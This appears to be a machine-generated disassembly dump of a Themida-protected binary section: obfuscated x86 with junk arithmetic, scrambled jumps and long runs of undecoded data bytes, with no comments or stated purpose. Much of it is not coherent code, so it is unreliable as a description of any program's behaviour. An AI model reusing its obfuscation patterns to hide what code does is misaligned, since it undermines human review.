		dd 0FFE92900h, 815D2434h, 4C4h,	0FFCA0100h, 0C8B2434h
		dd 4C48124h, 52000000h,	0FFEE48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EC7D:				; CODE XREF: Themida_:00569C90j
		push	eax
		push	edx
		jmp	loc_567192
; ---------------------------------------------------------------------------


loc_56EC84:				; CODE XREF: Themida_:0056DB7Cj
		pop	edx
		push	ecx
		push	eax
		mov	eax, 7CA94F1Ch
		mov	ecx, 0B1B3E91Ch
		add	ecx, eax
		pop	eax
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	edx, 5
		or	edx, 7C9C358Bh
		shl	edx, 1
		jmp	loc_563AA4
; ---------------------------------------------------------------------------
		db 4
		dd 0E9D800B1h, 885h, 8904EC83h,	74BF243Ch, 5036175Eh, 391268h
		dd 241C8900h, 0D8637BBBh, 0EABF5729h, 0F711943Bh, 90EF81D7h
		dd 55184427h, 0FF5155E9h, 0FFFFBAFFh, 0C181FFFFh, 0DD65C8Dh
		dd 79E9D101h, 5AFFFEE0h, 53A8B551h, 0FF25F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ED01:				; CODE XREF: Themida_:0056C01Bj
		sub	esi, ecx
		pop	ecx
		sub	eax, 36C50702h
		add	eax, esi
		add	eax, 36C50702h
		pop	esi
		jmp	loc_56A095
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4EC8353h, 0B8240489h, 471C1998h, 1C19942Dh, 58C38947h
		dd 535BD901h, 4BBh, 0ECB9E900h,	0D968FFFEh, 54000011h
		dd 8324048Fh, 8F042404h, 4812404h, 424h, 2434FF00h, 0E924048Bh
		dd 0FFFFF1C1h, 39E9515Bh
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED63:				; CODE XREF: Themida_:00565636j
		mov	esp, [esp]
		shr	bh, 1
		push	ecx
		mov	ch, 60h
		push	small 0
		sub	[esp], ch
		mov	ch, [esp]
		jmp	loc_560079
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0E9505124h, 0FFFF0FEDh, 885AD588h, 34A1E9EEh, 48BFFFFh
		dd 4C48124h, 0E9000000h, 2140h,	0E9242489h, 0FFFF440Bh
; ---------------------------------------------------------------------------


loc_56EDA4:				; CODE XREF: Themida_:0056E035j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_5602EF
; ---------------------------------------------------------------------------
		dd 4BF57h, 7C010000h, 3C8B0424h, 4C48124h, 5D000000h, 0CF08E951h
		dd 2BEFFFFh, 29000000h,	2C335EF5h, 242C3124h, 0E9242C33h
		dd 0FFFED7E5h, 0B6E9E689h, 5A00001Ch, 0F581D5F7h, 0AE1FEA30h
		dd 21E9E829h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE03:				; CODE XREF: Themida_:0056D8F8j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_561955
; ---------------------------------------------------------------------------
		db 5Bh,	2 dup(4Fh)
		dd 5665F781h, 0F90141E2h, 0FFB1B8E9h, 4C083FFh,	0FF12B7E9h
		dd 0EE835BFFh, 24348704h, 2404895Ch, 183AE9h, 43E95900h
		dd 0BD000011h, 2, 335DEB01h, 1C31241Ch,	241C3324h, 0C9EE9h
		dd 68F02900h, 6384h, 55243489h,	0FF3938E9h, 20685CFFh
		dd 89000045h, 0EC81241Ch, 4, 0BE243489h, 0F72420h, 0CEA7E957h
		dd 34FFFFFFh, 2434FF24h, 0E7B5E958h, 835EFFFFh,	0BBE904C4h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE97:				; CODE XREF: Themida_:00567682j
		neg	eax
		jmp	loc_5676C7
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF9945h
; ---------------------------------------------------------------------------


loc_56EEA4:				; CODE XREF: Themida_:0056E975j
		add	edx, edi
		push	eax
		mov	eax, 5058076Fh
		xor	eax, 3CA3061Ch
		jmp	loc_56892B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 78741BF0h, 0C4E9F929h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EEC3:				; CODE XREF: Themida_:00563F74j
		sub	ebx, 3BF65FFDh
		mov	ecx, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_568C3A
; ---------------------------------------------------------------------------


loc_56EEE2:				; CODE XREF: Themida_:00567DBBj
		pop	esp
		or	eax, eax
		jz	loc_56B80E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	25B7h
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_562DAB
; ---------------------------------------------------------------------------


loc_56EF02:				; CODE XREF: Themida_:005628D2j
		mov	ebx, esp
		push	ecx
		jmp	loc_5619EA
; ---------------------------------------------------------------------------


loc_56EF0A:				; CODE XREF: Themida_:0056413Bj
		mov	[esp], ebx
		push	edx
		jmp	loc_56F854
; ---------------------------------------------------------------------------
		db 89h
		dd 5DEE89FDh, 22BFE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EF1E:				; CODE XREF: Themida_:00569DC5j
		mov	[esp], ecx
		jmp	loc_5602D0
; ---------------------------------------------------------------------------


loc_56EF26:				; CODE XREF: Themida_:00566265j
		add	ebx, 6D534E4Ah
		add	ebx, esi
		sub	ebx, 6D534E4Ah
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5687DE
; ---------------------------------------------------------------------------
		db 68h
		dd 3FB0h, 68241C89h, 0BCD67CFh,	68DBF75Bh, 2135h, 81242C89h
		dd 4ECh, 243C8900h, 1B8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56EF6D:				; CODE XREF: Themida_:0056C1F1j
		pop	edx
		xor	eax, edi
		pop	edi
		jmp	loc_565791
; ---------------------------------------------------------------------------


loc_56EF76:				; CODE XREF: Themida_:0055EA4Ej
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55FFAE
; ---------------------------------------------------------------------------
		dd 68241C89h, 5EC2h, 51242489h,	705598B9h, 3DF1810Bh, 0F756EB16h
		dd 0E9D1F7D1h, 0FFFFAD36h, 68h,	0EDF4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EFBE:				; CODE XREF: Themida_:00562476j
		mov	[esp], ecx
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	ecx
		xor	ecx, 0EDBAF01Ah
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_570635
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 16h
		dd 89285050h, 0CE015EF1h, 83240C8Bh, 0EC8104C4h, 4, 0E9241489h
		dd 0FFFFAABFh, 7B3B6856h, 1C890000h, 59E0BB24h,	0DE897B04h
		dd 31DE315Bh, 4745E9F3h, 6859FFFFh, 6C13h, 0BF243C89h
		dd 4, 0E95FFB01h, 0FFFF88D5h, 0E9240433h, 0FFFF42A1h, 525DE801h
		dd 0C9FBFCBAh, 0FFD03101h, 565A2434h, 6850E689h, 5DC3h
		dd 68241C89h, 1BBh, 0E9240C89h,	0FFFFCDA6h
; ---------------------------------------------------------------------------


loc_56F058:				; CODE XREF: Themida_:0056F61Fj
		pop	ebx
		shl	esi, 8
		push	ebx
		mov	ebx, 56872E42h
		jmp	loc_563E24
; ---------------------------------------------------------------------------


loc_56F067:				; CODE XREF: Themida_:0056E0E8j
		add	ebp, ecx
		jmp	loc_5666CB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 24AC6803h, 478FEB81h, 0C3011AE4h, 69CAB951h,	0ABE96695h
		dd 8BFFFEF8h, 89532404h, 0B979E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F092:				; CODE XREF: Themida_:0056BDF9j
		mov	[esp], eax
		mov	eax, 76491C3Ah
		sub	ebp, 61AD1E8Dh
		add	ebp, eax
		add	ebp, 61AD1E8Dh
		mov	eax, [esp]
		jmp	loc_564B43
; ---------------------------------------------------------------------------


loc_56F0B0:				; CODE XREF: Themida_:0056F163j
		push	ecx
		mov	ch, 37h
		shr	ch, 4
		push	edx
		mov	dl, 0EEh
		add	dl, 48h
		inc	dl
		jmp	loc_562EA3
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 0AAC0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F0CE:				; CODE XREF: Themida_:0056823Bj
		pop	edx
		sub	ecx, edx
		add	ecx, 3B193CBEh
		add	ecx, 5E8179F8h
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56CAC1
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 58AC07CCh, 0C981D1F7h, 74EB54FCh, 9DDEE981h,	0CF29E380h
		dd 0F048E959h, 0F766FFFEh, 0FDE6E9D2h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F112:				; CODE XREF: Themida_:00567033j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0E3066B6h
		xor	esi, 328348E7h
		sub	ebx, 1AAF536Ah
		add	ebx, esi
		add	ebx, 1AAF536Ah
		mov	esi, [esp]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	small 65B3h
		mov	[esp], ax
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dd 8BD3015Bh, 0C4832414h, 241C8704h, 0FFC0D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F159:				; CODE XREF: Themida_:0055FE42j
		xor	cl, 0FDh
		mov	dl, cl
		pop	ecx
		add	bl, dl
		pop	dx
		jmp	loc_56F0B0
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 920400h, 0B3DBE9D8h, 4BBFFFFh, 1000000h
		dd 3C875BDFh, 48F5C24h,	24248B24h, 68241489h, 11E4h, 50240489h
		dd 15BD5553h, 0BB7A837Dh, 6612298Fh, 19E9EB31h,	89FFFFDEh
		dd 2BF243Ch, 1000000h, 0FF565FFEh, 5E042474h, 5C24048Fh
		dd 24042966h, 0D159E99Ch, 6B68FFFEh, 0E9000030h, 220Eh
		dd 2C8BEA31h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56E8AA
; ---------------------------------------------------------------------------


loc_56F1E1:				; CODE XREF: Themida_:00566C6Ej
		push	esi
		mov	esi, 22AD5FC0h
		sub	[esp+8], esi
		jmp	loc_568362
; ---------------------------------------------------------------------------
		dd 0FED12EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F1F5:				; CODE XREF: Themida_:0056CBBFj
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		jmp	loc_55F61C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 815C2414h, 4C4h, 0E9505200h, 0C59h, 52D56856h
		dd 815E22CDh, 0C3248BCEh, 4EEC121h, 2791C681h, 0F681692Fh
		dd 9879ED01h, 15EF189h,	42B859CAh, 31423C39h, 0E0D15AD0h
		dd 9211F22Dh, 0C2895259h, 0FFDB88E9h, 0B95153FFh, 6DB42255h
		dd 0FF618AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F265:				; CODE XREF: Themida_:0055D48Aj
		mov	edx, [esp]
		add	esp, 4
		mov	dl, bl
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	dl, 0A8h
		neg	dl
		shl	dl, 2
		dec	dl
		shl	dl, 1
		jmp	loc_56E874
; ---------------------------------------------------------------------------
		dd 0E688CC88h, 0C8B6658h, 0E550E924h, 5D50FFFEh, 0FFFAE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F2A9:				; CODE XREF: Themida_:00561DDEj
		mov	[esp], edi
		jmp	loc_56CD99
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0BE560000h, 85B2C01h, 6DE9F029h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F2C3:				; CODE XREF: Themida_:00569F83j
		mov	esi, 2F3105EBh
		sub	esi, 0B4776BD7h
		jmp	loc_56504E
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 2434FF24h, 582434FFh, 0EB7E953h, 34FFFFFFh
		dd 2434FF24h, 0E92434FFh, 0FFFF9930h, 6512E95Eh, 0F749FFFFh
		dd 50F181D1h, 0E937531Bh, 0FFFEFC5Ch, 45A7F381h, 67E936BFh
		dd 5C00001Bh, 0FF9BA0E9h, 4EC83FFh, 88240489h, 58C288C8h
		dd 3EE9D488h, 0F7FFFF18h, 0C1CA87D1h, 0C28103E2h, 0D240F36h
		dd 863EC281h, 0D001FC2Fh, 0FF8A84E9h, 98CD2DFFh, 0C289C039h
		dd 0DA59E958h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F352:				; CODE XREF: Themida_:00570C1Cj
		mov	ebp, 32C26B41h
		push	esi
		mov	esi, 685C3046h
		add	ebp, esi
		pop	esi
		shr	ebp, 1
		xor	ebp, 3DF13FE0h
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 3
		add	ebx, 4E5B0D29h
		add	ebx, 35B3637Ch
		sub	esi, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_568D35
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0E4h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F393:				; CODE XREF: Themida_:0056714Bj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	edx
		push	eax
		mov	eax, 68105542h
		mov	edx, 68105546h
		jmp	loc_561AB4
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF3219h, 68D5F75Bh, 121h,	0B8240489h, 6C56109Fh
		dd 0E2E9C531h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F3CF:				; CODE XREF: Themida_:00566C05j
		push	ebx
		mov	ebx, 0
		sub	ebx, edi
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		and	edi, 6A5814CBh
		sub	edi, 16F5BFA0h
		mov	edx, edi
		pop	edi
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 329B6E2Bh
		push	ebp
		mov	ebp, 562C59FBh
		shl	ebp, 1
		add	ebp, 17DB6B4Eh
		push	ebp
		jmp	loc_565F4F
; ---------------------------------------------------------------------------


loc_56F414:				; CODE XREF: Themida_:00563CB0j
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_56D6B7
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 90h
		dd 0F73ABD04h, 2E6C1DEh, 7B90EE81h, 0EE816397h,	4E357DBh
		dd 0F75EF101h, 92BE56D9h, 0E92C4450h, 0FFFED3FDh, 4EC815Dh
		dd 89000000h, 45E9241Ch, 87000018h, 0E95C2434h,	0FFFFAFC1h
; ---------------------------------------------------------------------------


loc_56F45C:				; CODE XREF: Themida_:00562108j
		add	ecx, 4E922388h
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56FE2D
; ---------------------------------------------------------------------------


loc_56F473:				; CODE XREF: Themida_:0056108Bj
		push	ecx
		mov	cl, 57h
		and	cl, 2Bh
		shl	cl, 6
		jmp	loc_5704E3
; ---------------------------------------------------------------------------


loc_56F481:				; CODE XREF: Themida_:005667C7j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_56C46A
; ---------------------------------------------------------------------------
		db 58h
		dd 5105E8C1h, 0D81789B9h, 243BE938h, 30B8FFFFh,	140C305h
		dd 58082444h, 0EC815859h, 4, 0B9240C89h, 4, 66241F2Dh
		dd 1818E978h, 0D7F7FFFFh, 0FF200FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F4C9:				; CODE XREF: Themida_:0056D82Dj
		add	esp, 4
		xor	edx, 8A22D2B1h
		jmp	loc_56DD80
; ---------------------------------------------------------------------------
		db 81h
		dd 2242C5EEh, 81D6012Ah, 2242C5C6h, 9BC6812Ah, 5A58087Bh
		dd 0FFD93AE9h, 4E983FFh, 31240C33h, 0A9E9240Ch
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F4FF:				; CODE XREF: Themida_:00561E84j
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, 3982F757h
		xor	edx, ecx
		jmp	loc_5648EA
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFAD8Dh, 207F83h,	0D00A840Fh, 3268FFFEh, 89000042h
		dd 17E92414h, 81FFFF2Fh, 8E7276C1h, 241C8B7Ch, 2DFE9h
		dd 2CB12C00h, 0E00E9D1h, 0F8310000h, 0E9E8D15Fh, 0FFFEF3B5h
		dd 24048F58h, 0C8B60F5Ch, 389668h, 240C8900h, 0FECDBEE9h
		dd 2474FFFFh, 99D5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F56E:				; CODE XREF: Themida_:0056DDADj
		mov	ebp, 18C51C06h
		push	edi
		mov	edi, 30FB049Bh
		xor	ebp, edi
		jmp	loc_562156
; ---------------------------------------------------------------------------
		dd 2B850h, 0C3010000h, 0FF89C7E9h, 9ACA81FFh, 0E9768031h
		dd 0FFFF27F7h
; ---------------------------------------------------------------------------


loc_56F598:				; CODE XREF: Themida_:0056FEF2j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_569FAF
; ---------------------------------------------------------------------------


loc_56F5A3:				; CODE XREF: Themida_:00567946j
		sub	[esp], ecx
		mov	ecx, [esp]
		jmp	loc_560971
; ---------------------------------------------------------------------------


loc_56F5AE:				; CODE XREF: Themida_:0055F640j
		push	ecx
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56A5EA
; ---------------------------------------------------------------------------
		db 53h
		dd 0BBh, 1306E900h, 814F0000h, 266174F7h, 8BF80109h, 0C481243Ch
		dd 4, 85E0E951h, 3C87FFFFh, 1C895C24h, 18E3BB24h, 0C5815FB8h
		dd 37C77E7Fh, 9A3C581h,	0DD014F93h, 9A3ED81h, 0D6E94F93h
		dd 81FFFFA9h, 73D1C0EBh, 5BDF31F4h, 0FF2BEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F61D:				; CODE XREF: Themida_:0055F9C8j
		add	esi, ebx
		jmp	loc_56F058
; ---------------------------------------------------------------------------


loc_56F624:				; CODE XREF: Themida_:0056BCD9j
		push	ebx
		mov	ebx, 0A4F5CEDh
		and	eax, ebx
		jmp	loc_56EA5A
; ---------------------------------------------------------------------------
		db 87h,	0CEh, 53h
		dd 5E14D4BBh, 21E38144h, 0E9724A4Ch, 0FFFEE596h
; ---------------------------------------------------------------------------


loc_56F644:				; CODE XREF: Themida_:0056B67Aj
		sub	esp, 4
		jmp	loc_5609FE
; ---------------------------------------------------------------------------
		dd 4EC8359h, 0BF243C89h, 0FD89EC3h, 0FFBEEDE9h,	6FAF2DFFh
		dd 0F8017AD4h, 0FFAD79E9h, 2C083FFh, 40AC68h, 24048900h
		dd 42474FFh, 8B2434FFh,	0E9512404h, 0FFFFF692h,	50241C8Bh
		dd 405E089h, 83000000h,	48704C0h, 24248B24h, 0FF37A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F69D:				; CODE XREF: Themida_:00568828j
		push	esi
		mov	esi, 502641A2h
		sub	esi, 31617F31h
		add	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 45A33EA3h
		shr	eax, 8
		shl	eax, 2
		inc	eax
		dec	eax
		neg	eax
		jmp	loc_5673FC
; ---------------------------------------------------------------------------
		dd 28E6CF81h, 0EF817688h, 0CDEF882Ch, 0FF636AE9h, 509CB9FFh
		dd 0CF3115D7h, 0FEDD99E9h, 0E9F801FFh, 0FFFFB0C3h, 1487D2F7h
		dd 0E9565924h, 0FFFF16D2h, 6740E981h, 0CE317255h, 0D6E4E959h
		dd 0C680FFFEh, 0CE805BB8h, 8FC680B8h, 0E9E7C380h, 4Ah
; ---------------------------------------------------------------------------


loc_56F714:				; CODE XREF: Themida_:00566A67j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56FD90
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48304h, 24048153h,	27847787h, 77872D58h, 1C8B2784h
		dd 4C48324h, 0FF2434FFh, 18E92434h, 89FFFFA5h, 47B42404h
		dd 0CEE9E700h, 52FFFEFBh, 0A72C7BBAh, 0CECAE961h, 0F300FFFFh
		dd 28E7B551h, 148B59EBh, 4C48324h, 0E9DAEB80h, 0FFFF60ABh
		dd 0E904EC83h, 707h, 7FE6ED81h,	0BB533647h, 14768990h
		dd 0FEE048E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F78D:				; CODE XREF: Themida_:0055EBEDj
		pop	ebx
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 7DA24D2Fh
		push	eax
		inc	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		not	eax
		xor	eax, 1F876FECh
		add	eax, 622522E1h
		jmp	loc_55D8C8
; ---------------------------------------------------------------------------


loc_56F7C9:				; CODE XREF: Themida_:0056C86Bj
		push	eax
		mov	eax, 67180BACh
		jmp	loc_564B70
; ---------------------------------------------------------------------------
		dd 295DEE29h, 2EC681DEh, 5B790C0Fh, 8B243487h, 3C892424h
		dd 1EF0BF24h, 62E922F4h, 8BFFFEE3h, 0C481240Ch,	4, 1A3DE9h
		db 0
byte_56F801	db 0B8h, 31h, 10h	; DATA XREF: Themida_:0055C214o
		dd 55E9574Bh, 51FFFFD4h, 491AE6B9h, 970E968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F816:				; CODE XREF: Themida_:0056A27Ej
		pop	eax
		jmp	loc_569C95
; ---------------------------------------------------------------------------
		dd 8104C483h, 7269FBE9h, 0A1E95063h
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F82B:				; CODE XREF: Themida_:0056D708j
		add	esp, 4
		push	eax
		sub	esp, 4
		jmp	loc_56DF72
; ---------------------------------------------------------------------------
		dw 685Fh
		dd 5801h, 0E9240489h, 0FFFF7076h, 6AEB735h, 0E9C731EAh
		dd 0FFFFBB54h
; ---------------------------------------------------------------------------


loc_56F854:				; CODE XREF: Themida_:0056EF0Ej
		mov	dl, 4Ah
		or	dl, 0F5h
		neg	dl
		shl	dl, 3
		jmp	loc_56D976
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 838734FFh, 1C8904ECh, 3630BB24h,	6C8150F2h
		dd 2DF10424h, 0D9E945A7h, 31FFFF74h, 3C33243Ch,	2465E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F88E:				; CODE XREF: Themida_:0056558Dj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_570EE2
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 0FF55AEE9h
		db 0FFh
byte_56F8A5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C200o
		dd 5636824h, 4890000h, 8AC6824h, 24890000h, 4EC8324h, 0FF1F7DE9h
		dd 243C8BFFh, 0FFB657E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F8C9:				; CODE XREF: Themida_:005655D5j
		push	edx
		mov	edx, 5BD30B09h
		push	esi
		push	66A65A57h
		jmp	loc_567B67
; ---------------------------------------------------------------------------


loc_56F8DA:				; CODE XREF: Themida_:005696B1j
		mov	ebp, 1D7D7546h
		neg	ebp
		shr	ebp, 2
		jmp	loc_5636A6
; ---------------------------------------------------------------------------


loc_56F8E9:				; CODE XREF: Themida_:005673A4j
		xor	edi, ebp
		pop	ebp
		sub	edx, edi
		jmp	loc_566241
; ---------------------------------------------------------------------------
		db 5Ch
		dd 57240489h, 2A8968h, 24048900h, 8A2008B8h, 58C7892Bh
		dd 4246C81h, 51EE73DFh,	0CE1E952h, 0D828FFFFh, 4D8285Bh
		dd 698C6867h, 14890000h, 0D1B35324h, 0DBF6D3F6h, 0F69FB151h
		dd 98E980D1h, 0FCE9CB20h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F93B:				; CODE XREF: Themida_:0056ACBDj
		pop	eax
		jmp	loc_568C76
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0D8h
		dd 4328BF57h, 5147526Eh, 0FFFD84E9h, 4C481FFh, 81000000h
		dd 4C2h, 4C28100h, 87000000h, 875C2414h, 0E95C2434h, 0FFFF9427h
; ---------------------------------------------------------------------------


loc_56F970:				; CODE XREF: Themida_:00560DFAj
		push	esi
		mov	esi, 1
		mov	edx, esi
		pop	esi
		jmp	loc_566295
; ---------------------------------------------------------------------------


loc_56F97E:				; CODE XREF: Themida_:005603EBj
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_567B89
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0F201585Eh,	16D1E9h, 24148900h, 0EC815A50h
		dd 4, 52241C89h, 0FF2434FFh, 0E95B2434h, 0FFFFFD66h, 59CA215Fh
		dd 0FF565AE9h, 2B9FFh, 0CF890000h, 0FEEA29E9h, 240C89FFh
		dd 38E9D988h, 43000019h, 16C7C381h, 0EBC106B0h,	654CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F9EA:				; CODE XREF: Themida_:00570D97j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_55DE95
; ---------------------------------------------------------------------------
		dd 5358C389h, 0FFF8EFE9h, 120548FFh, 2D63B928h,	5B146D92h
		dd 0E958C689h, 0FFFFECBEh, 4B850h, 44010000h, 58580424h
		dd 0FEEBFAE9h, 0E6C14EFFh, 0BD555102h, 0BAD88B94h, 295DE989h
		dd 54E8E9CEh, 8966FFFFh, 0E9532404h, 0FFFEF2C4h, 243C8B5Eh
		dd 3304C483h, 17E9240Ch
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FA57:				; CODE XREF: Themida_:0056216Aj
		add	ebp, 4
		jmp	loc_56A75A
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0F8E90000h, 89FFFFFDh, 0BB66241Ch, 66566C6Ah
		dd 8966DE89h, 665B5EF7h, 14ADF781h, 0C6C38166h,	6829685Bh
		dd 4890000h, 4C59E924h,	0C383FFFFh, 241C8704h, 0F88DE95Ch
		dd 535CFFFFh, 2632C6BBh, 0D4F38153h, 8107644Bh,	42790EEBh
		dd 0ABADE954h, 0E95FFFFFh, 0FFFF2B9Fh, 6405F801h, 0E96EB51Eh
		dd 0FFFF283Dh
; ---------------------------------------------------------------------------


loc_56FAC8:				; CODE XREF: Themida_:00569E3Cj
		push	edx
		mov	edx, 1A3DB6E9h
		sub	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		jmp	loc_569782
; ---------------------------------------------------------------------------
byte_56FAD9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C0F8o
		dd 4EC8324h, 81240C89h,	4ECh, 3B66800h,	9EE90000h, 8BFFFFDFh
		dd 4FE2424h, 22E99C24h,	81FFFED3h, 4C4h, 3558E900h, 48FFFFFh
		dd 34335C24h, 24343124h, 8B243433h, 0E9F62424h,	0CCB60F66h
		dd 0FF7FF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FB25:				; CODE XREF: Themida_:0056A944j
		pop	ebp
		push	edi
		mov	edi, 22910D7Bh
		or	eax, edi
		pop	edi
		sub	eax, 0C24215E6h
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_5703BE
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 0CA5E9h, 2434FF00h, 0E92434FFh, 0FFFF7507h
; ---------------------------------------------------------------------------


loc_56FB58:				; CODE XREF: Themida_:0056D1AAj
		add	eax, ebp
		jmp	loc_55DBA6
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0C281C201h, 4B345FB5h, 5B5DBF57h, 0FA01262Ah, 0C201585Fh
		dd 0FFABD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FB79:				; CODE XREF: Themida_:0055FD57j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6BB24AD0h
		push	edx
		jmp	loc_56BF33
; ---------------------------------------------------------------------------


loc_56FB92:				; CODE XREF: Themida_:0056DD08j
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 0FFFFFF80h
		and	ecx, eax
		mov	eax, [esp]
		push	41DEh
		jmp	loc_56968A
; ---------------------------------------------------------------------------


loc_56FBAB:				; CODE XREF: Themida_:00568127j
		pop	ecx
		jmp	loc_56769D
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2414895Ch, 0FFADC8E9h, 0C3815FFFh, 52208029h, 0E95BD901h
		dd 0FFFF5CD9h
; ---------------------------------------------------------------------------


